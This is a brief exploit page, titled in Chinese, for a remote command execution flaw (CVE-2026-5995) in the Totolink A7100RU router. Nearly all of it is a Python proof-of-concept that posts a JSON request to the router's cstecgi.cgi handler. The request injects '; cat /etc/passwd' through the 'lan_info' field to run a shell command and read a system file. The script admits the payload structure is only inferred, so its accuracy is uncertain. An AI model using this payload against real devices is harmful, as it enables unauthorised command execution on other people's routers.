CVE-2026-5995 Totolink A7100RU远程命令执行漏洞

import requests # Target URL target_url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Malicious payload to execute a command (e.g., 'cat /etc/passwd') # Note: The payload structure is inferred from typical CGI handlers in this device family. payload = { "function": "setMiniuiHomeInfoShow", "lan_info": "; cat /etc/passwd" } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; CVE-2026-5995-Scanner)" } try: # Send POST request response = requests.post(target_url, json=payload, headers=headers, timeout=5) # Check response if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")